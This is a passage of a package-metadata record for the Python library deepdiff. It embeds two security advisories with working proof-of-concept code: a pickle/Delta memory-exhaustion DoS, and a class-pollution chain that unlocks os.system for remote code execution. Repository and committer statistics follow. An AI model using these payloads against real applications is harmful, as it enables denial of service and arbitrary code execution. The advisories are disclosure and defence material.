During delta application**\n\nA valid diff dict that first sets a value to a large int via `values_changed`, then converts it to bytes via `type_changes`. It works because `_do_values_changed()` runs before `_do_type_changes()` in `Delta.add()` in `delta.py` line 183. Step 1 modifies the target in place before step 2 reads the modified value and calls `new_type(current_old_value)` at `delta.py` line 576 with no size guard.\n\n### PoC\n\nThe script uses Python's `resource` module to cap memory to 1 GB so you can reproduce safely without hitting the OOM killer. It loads deepdiff first, applies the limit, then runs the payload. Change `10**8` to `10**10` for the full 9.3 GB allocation.\n\n```python\nimport resource\nimport sys\n\ndef limit_memory(maxsize_mb):\n    \"\"\"Cap virtual memory for this process.\"\"\"\n    soft, hard = resource.getrlimit(resource.RLIMIT_AS)\n    maxsize_bytes = maxsize_mb * 1024 * 1024\n    try:\n        resource.setrlimit(resource.RLIMIT_AS, (maxsize_bytes, hard))\n        print(f\"[*] Memory limit set to {maxsize_mb} MB\")\n    except ValueError:\n        print(\"[!] Failed to set memory limit.\")\n        sys.exit(1)\n\n# Load heavy imports before enforcing the limit\nfrom deepdiff import Delta\nfrom deepdiff.serialization import pickle_dump, pickle_load\n\nlimit_memory(1024)\n\n# --- Delta application path ---\npayload_dict = {\n    'values_changed': {\"root['x']\": {'new_value': 10**8}},\n    'type_changes': {\"root['x']\": {'new_type': bytes}},\n}\n\npayload1 = pickle_dump(payload_dict)\nprint(f\"Payload size: {len(payload1)} bytes\")\n\ntarget = {'x': 'anything'}\ntry:\n    result = target + Delta(payload1)\n    print(f\"Allocated: {len(result['x']) // 1024 // 1024} MB\")\n    print(f\"Amplification: {len(result['x']) // len(payload1)}x\")\nexcept MemoryError:\n    print(\"[!] MemoryError — payload tried to allocate too much\")\n\n# --- Raw pickle path ---\npayload2 = (\n    b\"(dp0\\n\"\n    b\"S'_'\\n\"\n    b\"cbuiltins\\nbytes\\n\"\n    b\"(I100000000\\n\"\n    b\"tR\"\n    b\"s.\"\n)\n\nprint(f\"Payload size: {len(payload2)} bytes\")\ntry:\n    result2 = pickle_load(payload2)\n    print(f\"Allocated: {len(result2['_']) // 1024 // 1024} MB\")\nexcept MemoryError:\n    print(\"[!] MemoryError — payload tried to allocate too much\")\n```\n\nOutput:\n```\n[*] Memory limit set to 1024 MB\nPayload size: 123 bytes\nAllocated: 95 MB\nAmplification: 813008x\nPayload size: 42 bytes\nAllocated: 95 MB\n```\n\n### Impact\n\nDenial of service. Any application that deserializes delta objects or calls `pickle_load` with untrusted inputs can be crashed with a small payload. The restricted unpickler is meant to make this safe. It prevents remote code execution but doesn't prevent resource exhaustion.\n\nThe amplification is large. 800,000x for delta and 2,000,000x for raw pickle.\n\nImpacted users are anyone who accepts serialized delta objects from untrusted sources — network APIs, file uploads, message queues, etc.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-03-18T20:10:08.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/qlustered/deepdiff/security/advisories/GHSA-54jj-px8x-5w5q","https://nvd.nist.gov/vuln/detail/CVE-2026-33155","https://github.com/qlustered/deepdiff/commit/0d07ec21d12b46ef4e489383b363eadc22d990fb","https://github.com/advisories/GHSA-54jj-px8x-5w5q"],"source_kind":"github","identifiers":["GHSA-54jj-px8x-5w5q","CVE-2026-33155"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-03-18T21:00:11.195Z","updated_at":"2026-08-17T16:05:18.206Z","epss_percentage":0.00452,"epss_percentile":0.37536,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NGpqLXB4OHgtNXc1cc4ABT1J","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS01NGpqLXB4OHgtNXc1cc4ABT1J","packages":[{"ecosystem":"pypi","package_name":"deepdiff","versions":[{"first_patched_version":"8.6.2","vulnerable_version_range":"\u003e= 5.0.0, \u003c= 8.6.1"}],"purl":"pkg:pypi/deepdiff"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS01NGpqLXB4OHgtNXc1cc4ABT1J/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1tdzI2LTVnMnYtaHF3M84ABLo2","url":"https://github.com/advisories/GHSA-mw26-5g2v-hqw3","title":"DeepDiff Class Pollution in Delta class leading to DoS, Remote Code Execution, and more","description":"### Summary\n[Python class pollution](https://blog.abdulrah33m.com/prototype-pollution-in-python/) is a novel vulnerability categorized under [CWE-915](https://cwe.mitre.org/data/definitions/915.html). The `Delta` class is vulnerable to class pollution via its constructor, and when combined with a gadget available in DeltaDiff itself, it can lead to Denial of Service and Remote Code Execution (via insecure [Pickle](https://docs.python.org/3/library/pickle.html) deserialization).\n\nThe gadget available in DeepDiff allows `deepdiff.serialization.SAFE_TO_IMPORT` to be modified to allow dangerous classes such as `posix.system`, and then perform insecure Pickle deserialization via the Delta class. This potentially allows any Python code to be executed, given that the input to `Delta` is user-controlled.\n\nDepending on the application where DeepDiff is used, this can also lead to other vulnerabilities. For example, in a web application, it might be possible to bypass authentication via class pollution.\n\n### Details\n\nThe `Delta` class can take different object types as a parameter in its constructor, such as a `DeltaDiff` object, a dictionary, or even just bytes (that are deserialized via Pickle).\n\nWhen it takes a dictionary, it is usually in the following format:\n```py\nDelta({\"dictionary_item_added\": {\"root.myattr['foo']\": \"bar\"}})\n```\n\nTrying to apply class pollution here does not work, because there is already a filter in place: https://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L23\n\nHowever, this code only runs when parsing the path from a string.\nThe `_path_to_elements` function helpfully returns the given input if it is already a list/tuple:\nhttps://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/path.py#L52-L53\n\nThis means that it is possible to pass the path as the internal representation used by Delta, bypassing the filter:\n\n```py\nDelta(\n    {\n        \"dictionary_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"__init__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"PWNED\", \"GET\"),\n            ): 1337\n        }\n    },\n)\n```\n\nGoing back to the possible inputs of `Delta`, when it takes a `bytes` as input, it uses pickle to deserialize them.\nCare was taken by DeepDiff to prevent arbitrary code execution via the `SAFE_TO_IMPORT` allow list.\nhttps://github.com/seperman/deepdiff/blob/b639fece73fe3ce4120261fdcff3cc7b826776e3/deepdiff/serialization.py#L62-L98\nHowever, using the class pollution in the `Delta`, an attacker can add new entries to this `set`.\n\nThis then allows a second call to `Delta` to [unpickle an insecure class](https://davidhamann.de/2020/04/05/exploiting-python-pickle/) that runs `os.system`, for example.\n\n#### Using dict\n\nUsually, class pollution [does not work](https://gist.github.com/CalumHutton/45d33e9ea55bf4953b3b31c84703dfca#technical-details) when traversal starts at a `dict`/`list`/`tuple`, because it is not possible to reach `__globals__` from there.\nHowever, using two calls to `Delta` (or just one call if the target dictionary that already contains at least one entry) it is possible to first change one entry of the dictionary to be of type `deepdiff.helper.Opcode`, which then allows traversal to `__globals__`, and notably `sys.modules`, which in turn allows traversal to any module already loaded by Python.\nPassing `Opcode` around can be done via pickle, which `Delta` will happily accept given it is in the default allow list.\n\n### Proof of Concept\n\nWith deepdiff 8.6.0 installed, run the following scripts for each proof of concept.\nAll input to `Delta` is assumed to be user-controlled.\n\n#### Denial of Service\n\nThis script will pollute the value of `builtins.int`, preventing the class from being used and making code crash whenever invoked.\n\n```py\n# ------------[ Setup ]------------\nimport pickle\n\nfrom deepdiff.helper import Opcode\n\npollute_int = pickle.dumps(\n    {\n        \"values_changed\": {\"root['tmp']\": {\"new_value\": Opcode(\"\", 0, 0, 0, 0)}},\n        \"dictionary_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"tmp\", \"GET\"),\n                (\"__repr__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"__builtins__\", \"GET\"),\n                (\"int\", \"GET\"),\n            ): \"no longer a class\"\n        },\n    }\n)\n\n\nassert isinstance(pollute_int, bytes)\n\n# ------------[ Exploit ]------------\n# This could be some example, vulnerable, application.\n# The inputs above could be sent via HTTP, for example.\n\nfrom deepdiff import Delta\n\n# Existing dictionary; it is assumed that it contains\n# at least one entry, otherwise a different Delta needs to be\n# applied first, adding an entry to the dictionary.\nmydict = {\"tmp\": \"foobar\"}\n\n# Before pollution\nprint(int(\"41\") + 1)\n\n# Apply Delta to mydict\nresult = mydict + Delta(pollute_int)\n\nprint(int(\"1337\"))\n```\n\n```shell\n$ python poc_dos.py\n42\nTraceback (most recent call last):\n  File \"/tmp/poc_dos.py\", line 43, in \u003cmodule\u003e\n    print(int(\"1337\"))\nTypeError: 'str' object is not callable\n```\n\n#### Remote Code Execution\n\nThis script will create a file at `/tmp/pwned` with the output of `id`.\n\n```py\n# ------------[ Setup ]------------\nimport os\nimport pickle\n\nfrom deepdiff.helper import Opcode\n\npollute_safe_to_import = pickle.dumps(\n    {\n        \"values_changed\": {\"root['tmp']\": {\"new_value\": Opcode(\"\", 0, 0, 0, 0)}},\n        \"set_item_added\": {\n            (\n                (\"root\", \"GETATTR\"),\n                (\"tmp\", \"GET\"),\n                (\"__repr__\", \"GETATTR\"),\n                (\"__globals__\", \"GETATTR\"),\n                (\"sys\", \"GET\"),\n                (\"modules\", \"GETATTR\"),\n                (\"deepdiff.serialization\", \"GET\"),\n                (\"SAFE_TO_IMPORT\", \"GETATTR\"),\n            ): set([\"posix.system\"])\n        },\n    }\n)\n\n\n# From https://davidhamann.de/2020/04/05/exploiting-python-pickle/\nclass RCE:\n    def __reduce__(self):\n        cmd = \"id \u003e /tmp/pwned\"\n        return os.system, (cmd,)\n\n\n# Wrap object with dictionary so that Delta does not crash\nrce_pickle = pickle.dumps({\"_\": RCE()})\n\nassert isinstance(pollute_safe_to_import, bytes)\nassert isinstance(rce_pickle, bytes)\n\n# ------------[ Exploit ]------------\n# This could be some example, vulnerable, application.\n# The inputs above could be sent via HTTP, for example.\n\nfrom deepdiff import Delta\n\n# Existing dictionary; it is assumed that it contains\n# at least one entry, otherwise a different Delta needs to be\n# applied first, adding an entry to the dictionary.\nmydict = {\"tmp\": \"foobar\"}\n\n# Apply Delta to mydict\nresult = mydict + Delta(pollute_safe_to_import)\n\nDelta(rce_pickle)  # no need to apply this Delta\n```\n\n```shell\n$ python poc_rce.py\n$ cat /tmp/pwned\nuid=1000(dtc) gid=100(users) groups=100(users),1(wheel)\n```\n\n### Who is affected?\n\nOnly applications that pass (untrusted) user input directly into `Delta` are affected.\n\nWhile input in the form of `bytes` is the most flexible, there are certainly other gadgets, depending on the application, that can be used via just a dictionary. This dictionary could easily be parsed, for example, from JSON. One simple example would be overriding `app.secret_key` of a Flask application, which would allow an attacker to sign arbitrary cookies, leading to an authentication bypass.\n\n### Mitigations\n\nA straightforward mitigation is preventing traversal through private keys, like it is already done in the path parser.\nThis would have to be implemented in both `deepdiff.path._get_nested_obj` and `deepdiff.path._get_nested_obj_and_force`,\nand possibly in `deepdiff.delta.Delta._get_elements_and_details`.\nExample code that raises an error when traversing these properties:\n```py\nif elem.startswith(\"__\") and elem.endswith(\"__\"):\n  raise ValueError(\"traversing dunder attributes is not allowed\")\n```\n\nHowever, if it is desirable to still support attributes starting and ending with `__`, but still protect against this vulnerability, it is possible to only forbid `__globals__` and `__builtins__`, which stops the most serious cases of class pollution (but not all).\nThis was the solution adopted by pydash: https://github.com/dgilland/pydash/issues/180","origin":"UNSPECIFIED","severity":"CRITICAL","published_at":"2025-09-03T22:25:09.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":10.0,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:H/SI:H/SA:H","references":["https://github.com/seperman/deepdiff/security/advisories/GHSA-mw26-5g2v-hqw3","https://github.com/dgilland/pydash/issues/180","https://github.com/dgilland/pydash/commit/2015f0a4bcdbc3a5b27652e38fe97b3ee13ac15f","https://nvd.nist.gov/vuln/detail/CVE-2025-58367","https://github.com/seperman/deepdiff/commit/c69c06c13f75e849c770ade3f556cd16209fd183","https://github.com/seperman/deepdiff/releases/tag/8.6.1","https://github.com/advisories/GHSA-mw26-5g2v-hqw3"],"source_kind":"github","identifiers":["GHSA-mw26-5g2v-hqw3","CVE-2025-58367"],"repository_url":"https://github.com/seperman/deepdiff","blast_radius":33.13445370426414,"created_at":"2025-09-03T23:08:30.198Z","updated_at":"2026-08-20T13:04:50.517Z","epss_percentage":0.01123,"epss_percentile":0.63631,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tdzI2LTVnMnYtaHF3M84ABLo2","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1tdzI2LTVnMnYtaHF3M84ABLo2","packages":[{"ecosystem":"pypi","package_name":"deepdiff","versions":[{"first_patched_version":"8.6.1","vulnerable_version_range":"\u003e= 5.0.0, \u003c= 8.6.0"}],"purl":"pkg:pypi/deepdiff"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1tdzI2LTVnMnYtaHF3M84ABLo2/related_packages","related_advisories":[]}],"docker_usage_url":"https://docker.ecosyste.ms/usage/pypi/deepdiff","docker_dependents_count":538,"docker_downloads_count":817048902,"usage_url":"https://repos.ecosyste.ms/usage/pypi/deepdiff","dependent_repositories_url":"https://repos.ecosyste.ms/api/v1/usage/pypi/deepdiff/dependencies","status":null,"funding_links":["https://github.com/sponsors/seperman","https://ko-fi.com/seperman"],"critical":true,"issue_metadata":{"last_synced_at":"2026-08-23T12:01:20.147Z","issues_count":6,"pull_requests_count":32,"avg_time_to_close_issue":null,"avg_time_to_close_pull_request":2847796.0,"issues_closed_count":0,"pull_requests_closed_count":19,"pull_request_authors_count":16,"issue_authors_count":6,"avg_comments_per_issue":0.8333333333333334,"avg_comments_per_pull_request":0.9375,"merged_pull_requests_count":9,"bot_issues_count":0,"bot_pull_requests_count":7,"past_year_issues_count":6,"past_year_pull_requests_count":31,"past_year_avg_time_to_close_issue":null,"past_year_avg_time_to_close_pull_request":1913682.611111111,"past_year_issues_closed_count":0,"past_year_pull_requests_closed_count":18,"past_year_pull_request_authors_count":16,"past_year_issue_authors_count":6,"past_year_avg_comments_per_issue":0.8333333333333334,"past_year_avg_comments_per_pull_request":0.9354838709677419,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":7,"past_year_merged_pull_requests_count":9,"issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/issues","maintainers":[{"login":"seperman","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/seperman"}],"active_maintainers":[{"login":"seperman","count":2,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/seperman"}]},"versions_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/deepdiff/versions","version_numbers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/deepdiff/version_numbers","latest_version_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/deepdiff/latest_version","dependent_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/deepdiff/dependent_packages","related_packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/deepdiff/related_packages","codemeta_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages/deepdiff/codemeta","maintainers":[{"uuid":"seperman","login":"seperman","name":null,"email":null,"url":null,"packages_count":6,"html_url":"https://pypi.org/user/seperman/","role":null,"created_at":"2022-11-14T21:11:15.001Z","updated_at":"2022-11-14T21:11:15.001Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers/seperman/packages"}],"registry":{"name":"pypi.org","url":"https://pypi.org","ecosystem":"pypi","default":true,"packages_count":930432,"maintainers_count":399682,"namespaces_count":0,"keywords_count":311773,"github":"pypi","metadata":{"funded_packages_count":58574,"rate_limit":2},"icon_url":"https://github.com/pypi.png","created_at":"2022-04-04T15:19:23.364Z","updated_at":"2026-08-24T05:05:47.334Z","packages_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/packages","maintainers_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/maintainers","namespaces_url":"https://packages.ecosyste.ms/api/v1/registries/pypi.org/namespaces"}}],"commits":{"id":11693311,"full_name":"qlustered/deepdiff","default_branch":"master","total_commits":1194,"total_committers":106,"total_bot_commits":3,"total_bot_committers":1,"mean_commits":11.264150943396226,"dds":0.25460636515912893,"past_year_total_commits":92,"past_year_total_committers":10,"past_year_total_bot_commits":0,"past_year_total_bot_committers":0,"past_year_mean_commits":9.2,"past_year_dds":0.26086956521739135,"last_synced_at":"2026-08-19T09:59:59.407Z","last_synced_commit":"79e4379278b1cfdd8e9e3dccac364956908e8989","created_at":"2026-03-23T23:10:32.586Z","updated_at":"2026-08-19T09:59:58.658Z","committers":[{"name":"Seperman","email":"sep@zepworks.com","login":"seperman","count":890},{"name":"Victor Hahn","email":"victor.hahn@flexoptix.net","login":"victorhahncastell","count":54},{"name":"seperman","email":"sdehpour@truecar.com","login":null,"count":30},{"name":"Michał Karaś","email":"michal.karas@10clouds.com","login":null,"count":11},{"name":"Bernhard Thiel","email":"thiel@tbi.univie.ac.at","login":"Bernhard10","count":10},{"name":"Akshat Gupta","email":"akshat.gupta24@gmail.com","login":"akshat62","count":10},{"name":"Eras Notra","email":"xpower3d@yahoo.com","login":null,"count":8},{"name":"echan5","email":"echan5","login":"echan5","count":7},{"name":"Florian Klien","email":"florian.klien@smaxtec.com","login":"flowolf","count":7},{"name":"sunao.626","email":"sunao.626@bytedance.com","login":"eggachecat","count":6},{"name":"Mauricio Villegas","email":"5780272+mauvilsa","login":"mauvilsa","count":6},{"name":"Dustin Lorres","email":"dtorres@surefyre.co","login":"dtorres-sf","count":5},{"name":"Uwe Fladrich","email":"uwe.fladrich@smhi.se","login":"uwefladrich","count":5},{"name":"Chris Hamill","email":"chamill@ets.org","login":null,"count":5},{"name":"Martin Mokry","email":"martin-kokos","login":"martin-kokos","count":4},{"name":"Lyz","email":"lyz@riseup.net","login":"lyz-code","count":4},{"name":"Håvard Thom","email":"haavardthom91@hotmail.com","login":"havardthom","count":4},{"name":"Hugo","email":"hugovk","login":"hugovk","count":4},{"name":"Enji Cooper","email":"yaneurabeya@gmail.com","login":"ngie-eign","count":4},{"name":"Dustin Torres","email":"dustingtorres@gmail.com","login":"dustingtorres","count":4},{"name":"Mathis Chenuet","email":"9201969+artemisart","login":"artemisart","count":4},{"name":"Leo Sin","email":"leo.sin@my.cityu.edu.hk","login":"leoslf","count":3},{"name":"Bryce Jasmer","email":"bryce@jasmer.com","login":"b-jazz","count":3},{"name":"Markus Gruber","email":"register.mg@web.de","login":"maggelus","count":3},{"name":"wangfenjin","email":"wangfenjin@bytedance.com","login":null,"count":3},{"name":"Joachim Langenbach","email":"joachim.langenbach@engsas.de","login":null,"count":3},{"name":"Brendan Moloney","email":"moloney@airclogin-a1.ohsu.edu","login":null,"count":3},{"name":"William Jamieson","email":"wjamieson@stsci.edu","login":"WilliamJamieson","count":3},{"name":"dependabot[bot]","email":"49699333+dependabot[bot]","login":"dependabot[bot]","count":3},{"name":"kor4ik","email":"52377085+kor4ik","login":"kor4ik","count":2},{"name":"Yael Mintz","email":"yaelmi3@gmail.com","login":"yaelmi3","count":2},{"name":"Tomas Pereira de Vasconcelos","email":"tomasvasconcelos1@gmail.com","login":"tpvasconcelos","count":2},{"name":"Todd Calhoun","email":"todd.calhoun.hsqb@statefarm.com","login":"sf-tcalhoun","count":2},{"name":"Paul","email":"hi@paulsc.com","login":"paulsc","count":2},{"name":"Michał Górny","email":"mgorny@gentoo.org","login":"mgorny","count":2},{"name":"Ivan Piskunov","email":"van-ess0@mail.ru","login":"van-ess0","count":2},{"name":"Doron Behar","email":"doron.behar@gmail.com","login":"doronbehar","count":2},{"name":"Brian Maissy","email":"brian@medigate.io","login":"brianmedigate","count":2},{"name":"Andrey Gavrilin","email":"agavrilin@kyriba.com","login":null,"count":2},{"name":"Bobby Morck","email":"bmorck@netflix.com","login":null,"count":2},{"name":"xuweibj","email":"xwbj@cn.ibm.com","login":null,"count":1},{"name":"Tony","email":"huangyong@crossrainbow.cn","login":null,"count":1},{"name":"Tomáš Chvátal","email":"tchvatal@suse.com","login":null,"count":1},{"name":"Timothy Sleptsov","email":"timothys@crow.co.il","login":null,"count":1},{"name":"Sep Dehpour","email":"sdehpour@Seps-MacBook-Pro.local","login":null,"count":1},{"name":"Enric Pou","email":"epou@bmat.com","login":null,"count":1},{"name":"Noam Gottlieb","email":"noamgo@mobileye.com","login":null,"count":1},{"name":"Myrik","email":"myrik260138@tut.by","login":null,"count":1},{"name":"Max Rothman","email":"max-rothman@pluralsight.com","login":null,"count":1},{"name":"Martin Gingras","email":"mgingras@resulto.ca","login":null,"count":1},{"name":"Juergen Skrotzky","email":"juergen.skrotzky@rohde-schwarz.com","login":null,"count":1},{"name":"Finn Hughes","email":"finn.hughes@arconics.com","login":null,"count":1},{"name":"Dario Meloni","email":"dario.meloni@radarservices.com","login":null,"count":1},{"name":"Michal Ozery-Flato","email":"ozery@il.ibm.com","login":"michalozeryflato","count":1},{"name":"Myst","email":"1592048+LeMyst","login":"LeMyst","count":1},{"name":"NI1993","email":"60190218+NI1993","login":"NI1993","count":1},{"name":"Nathaniel Brown","email":"nathanielobrown@gmail.com","login":"nathanielobrown","count":1},{"name":"Nuno Santos","email":"nunofvsantos@gmail.com","login":"nfvs","count":1},{"name":"Robert Bo Davis","email":"bo@interrobang.consulting","login":"robert-bo-davis","count":1},{"name":"Romain Geissler","email":"romain.geissler@amadeus.com","login":"Romain-Geissler-1A","count":1},{"name":"Sagi Medina","email":"SagiMedina@Gmail.com","login":"SagiMedina","count":1},{"name":"Sep Dehpour","email":"erasmose","login":"erasmose","count":1},{"name":"Sherjeel Shabih","email":"shabihsherjeel@gmail.com","login":"sherjeelshabih","count":1},{"name":"Slava Skvortsov","email":"29122694+SlavaSkvortsov","login":"SlavaSkvortsov","count":1},{"name":"Sreenadh T C","email":"kesav.tc8@gmail.com","login":"sreecodeslayer","count":1},{"name":"Sriniketh J","email":"81156510+srini047","login":"srini047","count":1},{"name":"Stian Jensen","email":"me@stianj.com","login":"stianjensen","count":1},{"name":"Tal Amuyal","email":"talamuyal@gmail.com","login":"TalAmuyal","count":1},{"name":"The Gitter Badger","email":"badger@gitter.im","login":"gitter-badger","count":1},{"name":"Tim Klein","email":"timjklein36@gmail.com","login":"timjklein36","count":1},{"name":"Tom Haddon","email":"tom@haddons.net","login":"mthaddon","count":1},{"name":"Wilhelm Schuermann","email":"wimschuermann@googlemail.com","login":"wbsch","count":1},{"name":"Yann Rouillard","email":"yann@pleiades.fr.eu.org","login":"yannrouillard","count":1},{"name":"Yevgen Antymyrov","email":"turist@gmail.com","login":"antimirov","count":1},{"name":"laike9m","email":"laike9m","login":"laike9m","count":1},{"name":"mskhviyu","email":"zelenbluelf@gmail.com","login":"mskhviyu","count":1},{"name":"sanjay-cpu","email":"snjkmr32@gmail.com","login":"sanjaymsh","count":1},{"name":"serv-inc","email":"serv-inc","login":"serv-inc","count":1},{"name":"six","email":"brbsix@gmail.com","login":"brbsix","count":1},{"name":"Reto Zingg","email":"g.d0b3rm4n@gmail.com","login":"d0b3rm4n","count":1},{"name":"Alexander M. Sauer-Budge","email":"asauerbudge@savvifi.com","login":"amsb","count":1},{"name":"Ariz Zubair","email":"5427064+arizzubair","login":"arizzubair","count":1},{"name":"Brian Maissy","email":"brian.maissy@gmail.com","login":"brianmaissy","count":1},{"name":"Christian Kothe","email":"christian.kothe@gmail.com","login":"chkothe","count":1},{"name":"David Hotham","email":"david.hotham@blueyonder.co.uk","login":"dimbleby","count":1},{"name":"Devin Cox","email":"devin13cox@gmail.com","login":"devin13cox","count":1},{"name":"Devipriya Sarkar","email":"devipriyasarkar96@gmail.com","login":"DevipriyaSarkar","count":1},{"name":"Dhanvantari Tilak","email":"dhanvantari18@gmail.com","login":"Dhanvantari","count":1},{"name":"Dominic Oram","email":"dominic.oram@diamond.ac.uk","login":"DominicOram","count":1},{"name":"Aaron D. Marasco","email":"AaronDMarasco","login":"AaronDMarasco","count":1},{"name":"Florian Finkernagel","email":"finkernagel@imt.uni-marburg.de","login":"TyberiusPrime","count":1},{"name":"Jason R. Coombs","email":"jaraco@jaraco.com","login":"jaraco","count":1},{"name":"Jim Cipar","email":"jcipar@gmail.com","login":"jcipar","count":1},{"name":"John Vandenberg","email":"jayvdb@gmail.com","login":"jayvdb","count":1},{"name":"Jonas Vacek","email":"jvacek","login":"jvacek","count":1},{"name":"Juan J Soler","email":"jsoler@centrologic.com","login":"Soleronline","count":1},{"name":"Julien Gotteland","email":"julien.gotteland@gmail.com","login":"MartyHub","count":1},{"name":"Louis-Philippe Véronneau","email":"pollo@debian.org","login":"baldurmen","count":1},{"name":"Léo James","email":"l_james8@hotmail.com","login":"ljames8","count":1},{"name":"Manuel Silva","email":"manuel@mjs.me","login":"mjsilva","count":1},{"name":"Margaret G","email":"Margaret.Gorguissian@tufts.edu","login":"margaretgorguissian","count":1},{"name":"Mate Valko","email":"3168272+vmatt","login":"vmatt","count":1},{"name":"Mate Valko","email":"you@example.com","login":"invalid-email-address","count":1},{"name":"Max Rothman","email":"max.r.rothman@gmail.com","login":"maxrothman","count":1},{"name":"Michael Overmeyer","email":"m.overmeyer@yahoo.ca","login":"movermeyer","count":1},{"name":"vitalis89","email":"92910537+vitalis89","login":"vitalis89","count":1}],"past_year_committers":[{"name":"Sep Dehpour","email":"sep@zepworks.com","login":"seperman","count":68},{"name":"Akshat Gupta","email":"akshat.gupta24@gmail.com","login":"akshat62","count":8},{"name":"echan5","email":"echan5","login":"echan5","count":7},{"name":"Tomas Pereira de Vasconcelos","email":"tomasvasconcelos1@gmail.com","login":"tpvasconcelos","count":2},{"name":"Michał Górny","email":"mgorny@gentoo.org","login":"mgorny","count":2},{"name":"vitalis89","email":"92910537+vitalis89","login":"vitalis89","count":1},{"name":"Yann Rouillard","email":"yann@pleiades.fr.eu.org","login":"yannrouillard","count":1},{"name":"Sriniketh J","email":"81156510+srini047","login":"srini047","count":1},{"name":"Léo James","email":"l_james8@hotmail.com","login":"ljames8","count":1},{"name":"Devin Cox","email":"devin13cox@gmail.com","login":"devin13cox","count":1}],"commits_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/commits","host":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-19T00:00:10.144Z","repositories_count":6724426,"commits_count":972464396,"contributors_count":41014000,"owners_count":1352886,"committers_count":3345398,"icon_url":"https://github.com/github.png","host_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://commits.ecosyste.ms/api/v1/hosts/GitHub/repositories"}},"issues":{"table":{"full_name":"qlustered/deepdiff","html_url":"https://github.com/qlustered/deepdiff","last_synced_at":"2026-08-23T12:01:20.147Z","status":null,"issues_count":6,"pull_requests_count":32,"avg_time_to_close_issue":null,"avg_time_to_close_pull_request":2847796.0,"issues_closed_count":0,"pull_requests_closed_count":19,"pull_request_authors_count":16,"issue_authors_count":6,"avg_comments_per_issue":0.8333333333333334,"avg_comments_per_pull_request":0.9375,"merged_pull_requests_count":9,"bot_issues_count":0,"bot_pull_requests_count":7,"past_year_issues_count":6,"past_year_pull_requests_count":31,"past_year_avg_time_to_close_issue":null,"past_year_avg_time_to_close_pull_request":1913682.611111111,"past_year_issues_closed_count":0,"past_year_pull_requests_closed_count":18,"past_year_pull_request_authors_count":16,"past_year_issue_authors_count":6,"past_year_avg_comments_per_issue":0.8333333333333334,"past_year_avg_comments_per_pull_request":0.9354838709677419,"past_year_bot_issues_count":0,"past_year_bot_pull_requests_count":7,"past_year_merged_pull_requests_count":9,"created_at":"2026-03-20T13:00:15.869Z","updated_at":"2026-08-23T12:01:20.148Z","repository_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff","issues_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories/qlustered%2Fdeepdiff/issues","issue_labels_count":{"table":{}},"pull_request_labels_count":{"table":{"python:uv":7,"dependencies":7}},"issue_author_associations_count":{"table":{"NONE":6}},"pull_request_author_associations_count":{"table":{"NONE":18,"CONTRIBUTOR":12,"MEMBER":2}},"issue_authors":{"table":{"marcwrobel":1,"dpinol":1,"alorence":1,"danigm":1,"clin1234":1,"andrewVolodko":1}},"pull_request_authors":{"table":{"dependabot[bot]":7,"akshat62":4,"Sanjays2402":3,"gaoflow":3,"uttam12331":2,"seperman":2,"Mukller":2,"mgorny":1,"chuenchen309":1,"patchwright":1,"even-even":1,"koriyoshi2041":1,"ChrisJr404":1,"SAY-5":1,"Labib-Bin-Salam":1,"ckarnell":1}},"host":{"table":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-08-23T00:00:07.901Z","repositories_count":16277450,"issues_count":42193190,"pull_requests_count":134426820,"authors_count":11510733,"icon_url":"https://github.com/github.png","host_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories","owners_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/owners","authors_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors"}},"past_year_issue_labels_count":{"table":{}},"past_year_pull_request_labels_count":{"table":{"dependencies":7,"python:uv":7}},"past_year_issue_author_associations_count":{